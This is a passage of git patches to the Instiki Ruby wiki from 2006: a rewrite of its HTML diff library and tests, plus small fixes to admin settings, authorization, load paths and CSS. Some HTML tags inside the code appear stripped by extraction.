        etc... tags -# this version should mostly fix these problems -# ** added a Builder class to manage the creation of the final htmldiff -# * minor changes: -# ** use symbols instead of string to represent opcodes -# ** small fix to html2list -# - -module Enumerable - def reduce(init) - result = init - each { |item| result = yield(result, item) } - result - end -end - -class Object - def nil_or_empty? - nil? or empty? - end -end - -module Diff - - module Utilities - def explode(sequence) - sequence.is_a?(String) ? sequence.split(//) : sequence - end - - def newline?(char) - %W(\n \r).include? char - end - - def tab?(char) - "\t" == char - end - - # XXX Could be more robust but unrecognized tags cause an infinite loop so - # better to be permissive - def open_tag?(char) - char =~ /\A<[^>]+>/ - end - - # See comment for open_tag? - def close_tag?(char) - char =~ %r!\A]+>! - end - - def end_of_tag?(char) - char == '>' - end - - def start_of_tag?(char) - char == '<' - end - - def html2list(x, use_brackets = false) - mode = :char - cur = '' - out = [] - - explode(x).each do |char| - case mode - when :tag - if end_of_tag? char - cur += use_brackets ? ']' : '>' - case cur - when '
        ' then mode = :pre
        -            when '' then mode = :code
        -            else 
        -              out.push cur
        -              cur, mode  = '', :char
        -            end
        -          else
        -            cur += char
        -          end
        -        when :char
        -          if start_of_tag? char
        -            out.push cur
        -            cur  = use_brackets ? '[' : '<'
        -            mode = :tag
        -          elsif /\s/.match char
        -            out.push cur + char
        -            cur = ''
        -          else
        -            cur += char
        -          end
        -        when :pre
        -          if end_of_tag?(char) and cur =~ %r!= 200 and indices.length * 100 > @b.length
        -            pophash[elt] = 1
        -            indices.clear
        -          else
        -            indices.push idx
        -          end
        -        else
        -          @b2j[elt] = [idx]
        -        end
        -      end
        -        
        -      pophash.each_key { |elt| @b2j.delete elt }
        -      
        -      unless @isjunk.nil?
        -        [pophash, @b2j].each do |d|
        -          d.each_key do |elt|
        -            if @isjunk.call(elt)
        -              junkdict[elt] = 1
        -              d.delete elt
        -            end
        -          end
        -        end
        -      end
        -      
        -      @isbjunk    = junkdict.method(:has_key?)
        -      @isbpopular = junkdict.method(:has_key?)
        +  Match = Struct.new(:start_in_old, :start_in_new, :size)
        +  class Match
        +    def end_in_old
        +      self.start_in_old + self.size
             end
             
        -    def find_longest_match(a_low, a_high, b_low, b_high)
        -      besti, bestj, bestsize = a_low, b_low, 0
        +    def end_in_new
        +      self.start_in_new + self.size
        +    end
        +  end
        +  
        +  Operation = Struct.new(:action, :start_in_old, :end_in_old, :start_in_new, :end_in_new)
        +
        +  class DiffBuilder
        +
        +    def initialize(old_version, new_version)
        +      @old_version, @new_version = old_version, new_version
        +      @content = []
        +    end
        +
        +    def build
        +      split_inputs_to_words
        +      index_new_words
        +      operations.each {|opcode| perform_operation(opcode)}
        +      return @content.join
        +    end
        +
        +    def split_inputs_to_words
        +      @old_words = convert_html_to_list_of_words(explode(@old_version))
        +      @new_words = convert_html_to_list_of_words(explode(@new_version))
        +    end
        +
        +    def index_new_words
        +      @word_indices = {}
        +      @new_words.each_with_index { |word, i| (@word_indices[word] ||= []) << i }
        +    end
        +
        +    def operations
        +      position_in_old = position_in_new = 0
        +      operations = []
        +      matching_blocks.each do |match|
        +        match_starts_at_current_position_in_old = (position_in_old == match.start_in_old)
        +        match_starts_at_current_position_in_new = (position_in_new == match.start_in_new)
        +        
        +        action_upto_match_positions = 
        +          case [match_starts_at_current_position_in_old, match_starts_at_current_position_in_new]
        +          when [false, false]
        +            :replace
        +          when [true, false]
        +            :insert
        +          when [false, true]
        +            :delete
        +          else
        +            # this happens if the first few words are same in both versions
        +            :none
        +          end
        +
        +        if action_upto_match_positions != :none
        +          operation_upto_match_positions = 
        +              Operation.new(action_upto_match_positions, 
        +                  position_in_old, match.start_in_old, 
        +                  position_in_new, match.start_in_new)
        +          operations << operation_upto_match_positions
        +        end
        +        match_operation = Operation.new(:equal, 
        +            match.start_in_old, match.end_in_old, 
        +            match.start_in_new, match.end_in_new)
        +        operations << match_operation
        +
        +        position_in_old = match.end_in_old
        +        position_in_new = match.end_in_new
        +      end
        +      operations
        +    end
        +
        +    def matching_blocks
        +      matching_blocks = []
        +      recursively_find_matching_blocks(0, @old_words.size, 0, @new_words.size, matching_blocks)
        +      matching_blocks
        +    end
        +    
        +    def recursively_find_matching_blocks(start_in_old, end_in_old, start_in_new, end_in_new, matching_blocks)
        +      match = find_match(start_in_old, end_in_old, start_in_new, end_in_new)
        +      if match
        +        if start_in_old < match.start_in_old and start_in_new < match.start_in_new
        +          recursively_find_matching_blocks(
        +              start_in_old, match.start_in_old, start_in_new, match.start_in_new, matching_blocks) 
        +        end
        +        matching_blocks << match
        +        if match.end_in_old < end_in_old and match.end_in_new < end_in_new
        +          recursively_find_matching_blocks(
        +              match.end_in_old, end_in_old, match.end_in_new, end_in_new, matching_blocks)
        +        end
        +      end
        +    end
        +
        +    def find_match(start_in_old, end_in_old, start_in_new, end_in_new)
        +      besti, bestj, bestsize = start_in_old, start_in_new, 0
               
               j2len = {}
               
        -      (a_low..a_high).step do |i|
        +      (start_in_old..end_in_old).step do |i|
                 newj2len = {}
        -        (@b2j[@a[i]] || []).each do |j|
        -          next  if j < b_low
        -          break if j >= b_high
        +        (@word_indices[@old_words[i]] || []).each do |j|
        +          next  if j < start_in_new
        +          break if j >= end_in_new
                   
                   k = newj2len[j] = (j2len[j - 1] || 0) + 1
                   if k > bestsize
        @@ -209,271 +115,153 @@ module Diff
                 j2len = newj2len
               end
               
        -      while besti > a_low and bestj > b_low and not @isbjunk.call(@b[bestj - 1]) and @a[besti - 1] == @b[bestj - 1]
        +      while besti > start_in_old and bestj > start_in_new and @old_words[besti - 1] == @new_words[bestj - 1]
                 besti, bestj, bestsize = besti - 1, bestj - 1, bestsize + 1
               end
               
        -      while besti + bestsize < a_high and bestj + bestsize < b_high and
        -          not @isbjunk.call(@b[bestj + bestsize]) and
        -          @a[besti + bestsize] == @b[bestj + bestsize]
        +      while besti + bestsize < end_in_old and bestj + bestsize < end_in_new and
        +          @old_words[besti + bestsize] == @new_words[bestj + bestsize]
                 bestsize += 1
               end
               
        -      while besti > a_low and bestj > b_low and @isbjunk.call(@b[bestj - 1]) and @a[besti - 1] == @b[bestj - 1]
        -        besti, bestj, bestsize = besti - 1, bestj - 1, bestsize + 1
        -      end
        -      
        -      while besti + bestsize < a_high and bestj + bestsize < b_high and @isbjunk.call(@b[bestj+bestsize]) and
        -          @a[besti+bestsize] == @b[bestj+bestsize]
        -        bestsize += 1
        -      end
        -      
        -      [besti, bestj, bestsize]
        -    end
        -    
        -    def get_matching_blocks
        -      return @matching_blocks unless @matching_blocks.nil_or_empty?
        -      
        -      @matching_blocks = []
        -      size_of_a, size_of_b = @a.size, @b.size
        -      match_block_helper(0, size_of_a, 0, size_of_b, @matching_blocks)
        -      @matching_blocks.push [size_of_a, size_of_b, 0]
        -    end
        -    
        -    def match_block_helper(a_low, a_high, b_low, b_high, answer)
        -      i, j, k = x = find_longest_match(a_low, a_high, b_low, b_high)
        -      unless k.zero?
        -        match_block_helper(a_low, i, b_low, j, answer) if a_low < i and b_low < j
        -        answer.push x
        -        if i + k < a_high and j + k < b_high
        -          match_block_helper(i + k, a_high, j + k, b_high, answer)
        -        end
        +      if bestsize == 0 
        +        return nil
        +      else 
        +        return Match.new(besti, bestj, bestsize)
               end
             end
             
        -    def get_opcodes
        -      return @opcodes unless @opcodes.nil_or_empty?
        -
        -      i = j = 0
        -      @opcodes = answer = []
        -      get_matching_blocks.each do |ai, bj, size|
        -        tag = if i < ai and j < bj
        -                :replace
        -              elsif i < ai
        -                :delete
        -              elsif j < bj 
        -                :insert
        -              end
        -
        -        answer.push [tag, i, ai, j, bj] if tag
        -        i, j = ai + size, bj + size
        -        answer.push [:equal, ai, i, bj, j] unless size.zero?
        -      end
        -      answer
        -    end
        -
        -    # XXX: untested
        -    def get_grouped_opcodes(n = 3)
        -      codes = get_opcodes
        -      if codes.first.first == :equal
        -        tag, i1, i2, j1, j2 = codes.first
        -        codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2
        -      end
        -      
        -      if codes.last.first == :equal
        -        tag, i1, i2, j1, j2 = codes.last
        -        codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n)
        -      end
        -
        -      nn = n + n
        -      group = []
        -      codes.each do |tag, i1, i2, j1, j2|
        -        if tag == :equal and i2 - i1 > nn
        -          group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min]
        -          yield group
        -          group = []
        -          i1, j1 = [i1, i2-n].max, [j1, j2-n].max
        -          group.push [tag, i1, i2, j1 ,j2]
        -        end
        -      end
        -      yield group if group and group.size != 1 and group.first.first == :equal
        -    end
        -
        -    def ratio
        -      matches = get_matching_blocks.reduce(0) do |sum, triple|
        -        sum + triple.last
        -      end
        -      Diff.calculate_ratio(matches, @a.size + @b.size)
        -    end
        -
        -    def quick_ratio
        -      if @fullbcount.nil_or_empty?
        -        @fullbcount = {}
        -        @b.each do |elt|
        -          @fullbcount[elt] = (@fullbcount[elt] || 0) + 1
        -        end
        -      end
        -      
        -      avail   = {}
        -      matches = 0
        -      @a.each do |elt|
        -        numb       = avail.has_key?(elt) ? avail[elt] : (@fullbcount[elt] || 0)
        -        avail[elt] = numb - 1
        -        matches   += 1 if numb > 0
        -      end
        -      Diff.calculate_ratio matches, @a.size + @b.size
        -    end
        -
        -    def real_quick_ratio
        -      size_of_a, size_of_b = @a.size, @b.size
        -      Diff.calculate_ratio([size_of_a, size_of_b].min, size_of_a + size_of_b)
        -    end
        -
        -    protected :chain_b, :match_block_helper
        -  end # end class SequenceMatcher
        -
        -  class << self
        -    def calculate_ratio(matches, length)
        -      return 1.0 if length.zero?
        -      2.0 * matches / length
        -    end
        -
        -    # XXX: untested
        -    def get_close_matches(word, possibilities, n = 3, cutoff = 0.6)
        -      raise "n must be > 0: #{n}" unless n > 0
        -      raise "cutoff must be in (0.0..1.0): #{cutoff}" unless cutoff.between 0.0..1.0
        -
        -      result = []
        -      sequence_matcher = Diff::SequenceMatcher.new
        -      sequence_matcher.set_sequence_b word
        -      possibilities.each do |possibility|
        -        sequence_matcher.set_sequence_a possibility
        -        if sequence_matcher.real_quick_ratio >= cutoff and
        -           sequence_matcher.quick_ratio >= cutoff      and
        -           sequence_matcher.ratio >= cutoff
        -          result.push [sequence_matcher.ratio, possibility]
        -        end
        -      end
        -      
        -      unless result.nil_or_empty?
        -        result.sort
        -        result.reverse!
        -        result = result[-n..-1]
        -      end
        -      result.map {|score, x| x }
        -    end
        -
        -    def count_leading(line, ch)
        -      count, size = 0, line.size
        -      count += 1 while count < size and line[count].chr == ch
        -      count
        -    end
        -  end
        -end
        -
        -module HTMLDiff
        -  include Diff
        -  class Builder
             VALID_METHODS = [:replace, :insert, :delete, :equal]
        -    def initialize(a, b)
        -      @a, @b   = a, b
        -      @content = []
        +    def perform_operation(operation)
        +      @operation = operation
        +      self.send operation.action, operation
             end
         
        -    def do_op(opcode)
        -      @opcode = opcode
        -      op = @opcode.first
        -      raise NameError, "Invalid opcode '#{op}'" unless VALID_METHODS.include? op
        -      send op
        +    def replace(operation)
        +      delete(operation, 'diffmod')
        +      insert(operation, 'diffmod')
             end
        -
        -    def result
        -      @content.join
        -    end
        -
        -    # These methods have to be called via do_op(opcode) so that @opcode is set properly
        -    private
        -
        -      def replace
        -        delete('diffmod')
        -        insert('diffmod')
        -      end
        -      
        -      def insert(tagclass = 'diffins')
        -        op_helper('ins', tagclass, @b[@opcode[3]...@opcode[4]])
        -      end
        -      
        -      def delete(tagclass = 'diffdel')
        -         op_helper('del', tagclass, @a[@opcode[1]...@opcode[2]])
        -      end
        -      
        -      def equal
        -        @content += @b[@opcode[3]...@opcode[4]]
        -      end
             
        -      # Using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins
        -      def op_helper_simple(tagname, tagclass, to_add)
        -        @content << %(<#{tagname} class="#{tagclass}">) << to_add << %()
        +    def insert(operation, tagclass = 'diffins')
        +      insert_tag('ins', tagclass, @new_words[operation.start_in_new...operation.end_in_new])
        +    end
        +    
        +    def delete(operation, tagclass = 'diffdel')
        +       insert_tag('del', tagclass, @old_words[operation.start_in_old...operation.end_in_old])
        +    end
        +    
        +    def equal(operation)
        +      # no tags to insert, simply copy the matching words from onbe of the versions
        +      @content += @new_words[operation.start_in_new...operation.end_in_new]
        +    end
        +  
        +    def opening_tag?(item)
        +      item =~ %r!^\s*<[^>]+>\s*$!
        +    end
        +
        +    def closing_tag?(item)
        +      item =~ %r!^\s*]+>\s*$!
        +    end
        +
        +    def tag?(item)
        +      opening_tag?(item) or closing_tag?(item)
        +    end
        +
        +    # Tries to enclose diff tags ( or ) within 

        tags + # As a result the diff tags should be the "most inside" possible. + def insert_tag(tagname, cssclass, words) + unless words.any? { |word| tag?(word) } + @content << wrap_text(words.join, tagname, cssclass) + else + loop do + break if words.empty? + @content << words and break if words.all? { |word| tag?(word) } + # We are outside of a diff tag + @content << words.shift while not words.empty? and tag?(words.first) + @content << %(<#{tagname} class="#{cssclass}">) + # We are inside a diff tag + @content << words.shift until words.empty? or tag?(words.first) + @content << %() + end end + end + + def wrap_text(text, tagname, cssclass) + %(<#{tagname} class="#{cssclass}">#{text}) + end + + def explode(sequence) + sequence.is_a?(String) ? sequence.split(//) : sequence + end + + def end_of_tag?(char) + char == '>' + end + + def start_of_tag?(char) + char == '<' + end + + def whitespace?(char) + char =~ /\s/ + end + + def convert_html_to_list_of_words(x, use_brackets = false) + mode = :char + current_word = '' + words = [] - # Tries to put

        tags or newline chars before the opening diff tags ( or ) - # or after the ending diff tags. - # As a result the diff tags should be the "most inside" possible. - def op_helper(tagname, tagclass, to_add) - predicate_methods = [:tab?, :newline?, :close_tag?, :open_tag?] - content_to_skip = Proc.new do |item| - predicate_methods.any? {|predicate| HTMLDiff.send(predicate, item)} - end - - unless to_add.any? {|element| content_to_skip.call element} - @content << wrap_text(to_add, tagname, tagclass) - else - loop do - @content << to_add and break if to_add.all? {|element| content_to_skip.call element} - # We are outside of a diff tag - @content << to_add.shift while content_to_skip.call to_add.first - @content << %(<#{tagname} class="#{tagclass}">) - # We are inside a diff tag - @content << to_add.shift until content_to_skip.call to_add.first - @content << %() + explode(x).each do |char| + case mode + when :tag + if end_of_tag? char + current_word << (use_brackets ? ']' : '>') + words << current_word + current_word = '' + if whitespace?(char) + mode = :whitespace + else + mode = :char + end + else + current_word << char end + when :char + if start_of_tag? char + words << current_word unless current_word.empty? + current_word = (use_brackets ? '[' : '<') + mode = :tag + elsif /\s/.match char + words << current_word unless current_word.empty? + current_word = char + mode = :whitespace + else + current_word << char + end + when :whitespace + if start_of_tag? char + words << current_word unless current_word.empty? + current_word = (use_brackets ? '[' : '<') + mode = :tag + elsif /\s/.match char + current_word << char + else + words << current_word unless current_word.empty? + current_word = char + mode = :char + end + else + raise "Unknown mode #{mode.inspect}" end - #remove_empty_diff(tagname, tagclass) end + words << current_word unless current_word.empty? + words + end - def wrap_text(text, tagname, tagclass) - %(<#{tagname} class="#{tagclass}">#{text}) - end - - def remove_empty_diff(tagname, tagclass) - @content = @content[0...-2] if last_elements_empty_diff?(@content, tagname, tagclass) - end - - def last_elements_empty_diff?(content, tagname, tagclass) - content[-2] == %(<#{tagname} class="#{tagclass}">) and content.last == %() - end + end # of class Diff Builder + + def diff(a, b) + DiffBuilder.new(a, b).build end - class << self - include Diff::Utilities - - def diff(a, b) - a = html2list(explode(a)) - b = html2list(explode(b)) - - out = Builder.new(a, b) - - sequence_matcher = Diff::SequenceMatcher.new(a, b) - sequence_matcher.get_opcodes.each {|opcode| out.do_op(opcode)} - out.result - end - end end - -if __FILE__ == $0 - if ARGV.size == 2 - puts HTMLDiff.diff(IO.read(ARGV.pop), IO.read(ARGV.pop)) - else - puts "Usage: html_diff file1 file2" - end -end diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 9981305e..fadb4508 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -3,90 +3,91 @@ require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'diff' -include Diff - class DiffTest < Test::Unit::TestCase - def test_init - assert_nothing_raised { - s = SequenceMatcher.new('private Thread currentThread;', - 'private volatile Thread currentThread;') { |x| x == ' ' } - } - end - - def test_matching_blocks - s = SequenceMatcher.new 'abxcd', 'abcd' - assert_equal [[0, 0, 2], [3, 2, 2], [5, 4, 0]], s.get_matching_blocks - end - - def test_ratio - s = SequenceMatcher.new 'abcd', 'bcde' - assert_equal 0.75, s.ratio, 0.001 - assert_equal 0.75, s.quick_ratio, 0.001 - assert_equal 1.0, s.real_quick_ratio, 0.001 - end - - def test_longest_match - s = SequenceMatcher.new(' abcd', 'abcd abcd') - assert_equal [0, 4, 5], s.find_longest_match(0, 5, 0, 9) - end - - def test_opcodes - s = SequenceMatcher.new('qabxcd', 'abycdf') - assert_equal( - [ - [:delete, 0, 1, 0, 0], - [:equal, 1, 3, 0, 2], - [:replace, 3, 4, 2, 3], - [:equal, 4, 6, 3, 5], - [:insert, 6, 6, 5, 6] - ], - s.get_opcodes) + + include HTMLDiff + + def setup + @builder = DiffBuilder.new('old', 'new') end - - def test_count_leading - assert_equal 3, Diff.count_leading(' abc', ' ') + def test_start_of_tag + assert @builder.start_of_tag?('<') + assert(!@builder.start_of_tag?('>')) + assert(!@builder.start_of_tag?('a')) end - def test_html2list - a = "here is the original text" + def test_end_of_tag + assert @builder.end_of_tag?('>') + assert(!@builder.end_of_tag?('<')) + assert(!@builder.end_of_tag?('a')) + end + + def test_whitespace + assert @builder.whitespace?(" ") + assert @builder.whitespace?("\n") + assert @builder.whitespace?("\r") + assert(!@builder.whitespace?("a")) + end + + def test_convert_html_to_list_of_words_simple assert_equal( - ['here ', 'is ', 'the ', 'original ', 'text'], - HTMLDiff.html2list(a)) + ['the', ' ', 'original', ' ', 'text'], + @builder.convert_html_to_list_of_words('the original text')) end - def test_html_diff - a = 'this was the original string' - b = 'this is the super string' - assert_equal('this was ' + - 'is the ' + - 'original ' + - 'super string', - HTMLDiff.diff(a, b)) + def test_convert_html_to_list_of_words_should_separate_endlines + assert_equal( + ['a', "\n", 'b', "\r", 'c'], + @builder.convert_html_to_list_of_words("a\nb\rc")) + end + + def test_convert_html_to_list_of_words_should_not_compress_whitespace + assert_equal( + ['a', ' ', 'b', ' ', 'c', "\r \n ", 'd'], + @builder.convert_html_to_list_of_words("a b c\r \n d")) + end + + def test_convert_html_to_list_of_words_should_handle_tags_well + assert_equal( + ['

        ', 'foo', ' ', 'bar', '

        '], + @builder.convert_html_to_list_of_words("

        foo bar

        ")) end + def test_convert_html_to_list_of_words_interesting + assert_equal( + ['

        ', 'this', ' ', 'is', '

        ', "\r\n", '

        ', 'the', ' ', 'new', ' ', 'string', + '

        ', "\r\n", '

        ', 'around', ' ', 'the', ' ', 'world', '

        '], + @builder.convert_html_to_list_of_words( + "

        this is

        \r\n

        the new string

        \r\n

        around the world

        ")) + end + + def test_html_diff_simple + a = 'this was the original string' + b = 'this is the new string' + assert_equal('this wasis the ' + + 'originalnew string', + diff(a, b)) + end + def test_html_diff_with_multiple_paragraphs a = "

        this was the original string

        " - b = "

        this is

        \r\n

        the super string

        \r\n

        around the world

        " - + b = "

        this is

        \r\n

        the new string

        \r\n

        around the world

        " assert_equal( - "

        this was " + - "is

        \r\n

        the " + - "original " + - "super string

        \r\n" + - "

        around the world

        ", - HTMLDiff.diff(a, b) - ) + "

        this wasis

        \r\n

        the " + + "original " + + "new string

        \r\n" + + "

        around the world

        ", + diff(a, b)) end - + # FIXME this test fails (ticket #67, http://dev.instiki.org/ticket/67) def test_html_diff_preserves_endlines_in_pre a = "
        \na\nb\nc\n
        " - b = '' - + b = "
        \n
        " assert_equal( "
        \na\nb\nc\n
        ", - HTMLDiff.diff(a, b)) + diff(a, b)) end end diff --git a/test/unit/page_renderer_test.rb b/test/unit/page_renderer_test.rb index aabaccf3..85cff5ca 100644 --- a/test/unit/page_renderer_test.rb +++ b/test/unit/page_renderer_test.rb @@ -265,9 +265,8 @@ class PageRendererTest < Test::Unit::TestCase Revision.create(:page => @page, :content => 'What a red and lovely morning today', :author => Author.new('DavidHeinemeierHansson'), :revised_at => Time.now) - assert_equal "

        What a blue red " + - "and lovely morningmorning " + - "today

        ", test_renderer(@page.revisions.last).display_diff + assert_equal "

        What a bluered" + + " and lovely morning today

        ", test_renderer(@page.revisions.last).display_diff end def test_link_to_file From ba9232bbdedfd30cfe32151117caaadf5cf91fd4 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 22 Jan 2006 23:27:57 +0000 Subject: [PATCH 435/529] Admin settings are correctly displayed on edit_web form (closes #256) --- app/views/admin/edit_web.rhtml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index e4f99019..e568a0c6 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -37,19 +37,19 @@

        - /> + /> Safe mode - strip HTML tags and stylesheet options from the content of all pages
        - /> + /> Brackets only - require all wiki words to be as [[wiki word]], WikiWord links won't be created
        - /> + /> Count pages
        - /> + /> Allow uploads of no more than @@ -95,7 +95,7 @@ The published version is accessible through URLs like /wiki/published/HomePage.

    • - /> + /> Publish this web
      From 328573791775b3b0beba27fe3583ea77da06b902 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 23 Jan 2006 06:56:30 +0000 Subject: [PATCH 436/529] Fixed an NPE in ApplicationController#authorized? --- app/controllers/application.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index e43b0d8e..7e6ae484 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -169,6 +169,7 @@ class ApplicationController < ActionController::Base end def authorized? + @web.nil? or @web.password.nil? or cookies['web_address'] == @web.password or password_check(@params['password']) From 01c9636ffdbbf505a42f86fcc091d98835a545bc Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 23 Jan 2006 06:57:19 +0000 Subject: [PATCH 437/529] More goodness to lib/diff.rb! --- CHANGELOG | 5 ++-- lib/diff.rb | 59 ++++++++++++++++++++++++++++++------------ lib/page_renderer.rb | 4 ++- test/unit/diff_test.rb | 6 +++++ 4 files changed, 54 insertions(+), 20 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 943a73c0..d09288bc 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,11 +1,12 @@ * TRUNK: SQL-based backend (ActiveRecord) File uploads (finally) - Upgraded to Rails 0.14.3 (also know as 1.0 RC 4) + Upgraded to Rails 1.0.0 Replaced internal link generator with routing Fixed --daemon option Removed Rubygem and native OS X distributions - More accurate "See Changes" + Improved HTML diff + More accurate "See Changes" * 0.10.2: Upgraded to Rails 0.13.1 diff --git a/lib/diff.rb b/lib/diff.rb index acc82189..81d336e9 100644 --- a/lib/diff.rb +++ b/lib/diff.rb @@ -23,7 +23,7 @@ module HTMLDiff def build split_inputs_to_words index_new_words - operations.each {|opcode| perform_operation(opcode)} + operations.each {|op| perform_operation(op) } return @content.join end @@ -40,7 +40,13 @@ module HTMLDiff def operations position_in_old = position_in_new = 0 operations = [] - matching_blocks.each do |match| + + matches = matching_blocks + # an empty match at the end forces the loop below to handle the unmatched tails + # I'm sure it can be done more gracefully, but not at 23:52 + matches << Match.new(@old_words.length, @new_words.length, 0) + + matches.each_with_index do |match, i| match_starts_at_current_position_in_old = (position_in_old == match.start_in_old) match_starts_at_current_position_in_new = (position_in_new == match.start_in_new) @@ -72,6 +78,7 @@ module HTMLDiff position_in_old = match.end_in_old position_in_new = match.end_in_new end + operations end @@ -167,23 +174,41 @@ module HTMLDiff opening_tag?(item) or closing_tag?(item) end - # Tries to enclose diff tags ( or ) within

      tags - # As a result the diff tags should be the "most inside" possible. - def insert_tag(tagname, cssclass, words) - unless words.any? { |word| tag?(word) } - @content << wrap_text(words.join, tagname, cssclass) - else - loop do - break if words.empty? - @content << words and break if words.all? { |word| tag?(word) } - # We are outside of a diff tag - @content << words.shift while not words.empty? and tag?(words.first) - @content << %(<#{tagname} class="#{cssclass}">) - # We are inside a diff tag - @content << words.shift until words.empty? or tag?(words.first) - @content << %() + def extract_consecutive_words(words, &condition) + index_of_first_tag = nil + words.each_with_index do |word, i| + if !condition.call(word) + index_of_first_tag = i + break end end + if index_of_first_tag + return words.slice!(0...index_of_first_tag) + else + return words.slice!(0..words.length) + end + end + + # This method encloses words within a specified tag (ins or del), and adds this into @content, + # with a twist: if there are words contain tags, it actually creates multiple ins or del, + # so that they don't include any ins or del. This handles cases like + # old: '

      a

      ' + # new: '

      ab

      ab

      c

      ' + # this still doesn't guarantee valid HTML (hint: think about diffing a text containing ins or + # del tags), but handles correctly more cases than earlier version. + # + # PS: Spare a thought for people who write HTML browsers. They live in this ... every day. + + def insert_tag(tagname, cssclass, words) + loop do + break if words.empty? + non_tags = extract_consecutive_words(words) { |word| not tag?(word) } + @content << wrap_text(non_tags.join, tagname, cssclass) unless non_tags.empty? + + break if words.empty? + @content += extract_consecutive_words(words) { |word| tag?(word) } + end end def wrap_text(text, tagname, cssclass) diff --git a/lib/page_renderer.rb b/lib/page_renderer.rb index d48bc2c4..12180efe 100644 --- a/lib/page_renderer.rb +++ b/lib/page_renderer.rb @@ -4,6 +4,8 @@ require 'diff' class PageRenderer + include HTMLDiff + def self.setup_url_generator(url_generator) @@url_generator = url_generator end @@ -40,7 +42,7 @@ class PageRenderer previous_revision = @revision.page.previous_revision(@revision) if previous_revision rendered_previous_revision = WikiContent.new(previous_revision, @@url_generator).render! - HTMLDiff.diff(rendered_previous_revision, display_content) + diff(rendered_previous_revision, display_content) else display_content end diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index fadb4508..18549460 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -90,4 +90,10 @@ class DiffTest < Test::Unit::TestCase diff(a, b)) end + def test_html_diff_with_tags + a = "" + b = "
      foo
      " + assert_equal '
      foo
      ', diff(a, b) + end + end From 6c555335001690f3c1446009ef5fd855e831aebb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 23 Jan 2006 07:01:04 +0000 Subject: [PATCH 438/529] Handle migrations from Instiki installs with RedCloth version 3.0.3 --- script/import_storage | 1 + 1 file changed, 1 insertion(+) diff --git a/script/import_storage b/script/import_storage index 64bcd6d5..4d112e52 100755 --- a/script/import_storage +++ b/script/import_storage @@ -84,6 +84,7 @@ ADDITIONAL_LOAD_PATHS = %w( app/models lib vendor/madeleine-0.7.1/lib + vendor/RedCloth-3.0.3/lib vendor/RedCloth-3.0.4/lib vendor/rubyzip-0.5.8/lib ).map { |dir| "#{File.expand_path(File.join(INSTIKI_ROOT, dir))}" From 0aa87bf34809ad18392de0960b6f5536245d9351 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 23 Jan 2006 07:02:03 +0000 Subject: [PATCH 439/529] Smaller relative size of the default font --- public/stylesheets/instiki.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index 8e85e197..998d5619 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -1,5 +1,5 @@ body { background-color: white; color: #333; } -body, p, ol, ul, td { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; line-height: 1.3em; } +body, p, ol, ul, td { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 90%; line-height: 1.3em; } #Container { float: none; margin: 0 15%; text-align: center; } #Content { margin: 0; padding: 0.3em; text-align: left; border-top: none; float: left; width: 100%; } From c435bf2f2b04c187fa4affefd8cccea4ea34ba78 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 11 Mar 2006 21:27:49 +0000 Subject: [PATCH 440/529] [FIXES BVILD] Further improvement to diff.rb (I hope not to touch this beast again any time soon); See Changes ripped out from WikiController#show, will become a separate action --- app/controllers/wiki_controller.rb | 4 ++ app/views/wiki/page.rhtml | 40 ++---------- lib/diff.rb | 98 +++++++++++++++++++----------- test/unit/diff_test.rb | 19 ++++-- 4 files changed, 84 insertions(+), 77 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index e66ae58d..2792d783 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -49,6 +49,10 @@ class WikiController < ApplicationController @authors = @page_names_by_author.keys.sort end + def changes + raise "Not implemented yet" + end + def export_html stylesheet = File.read(File.join(RAILS_ROOT, 'public', 'stylesheets', 'instiki.css')) export_pages_as_zip('html') do |page| diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index b7292e35..65d9d8be 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -7,20 +7,6 @@ <%= @renderer.display_content %>

      c' + # diff result: '

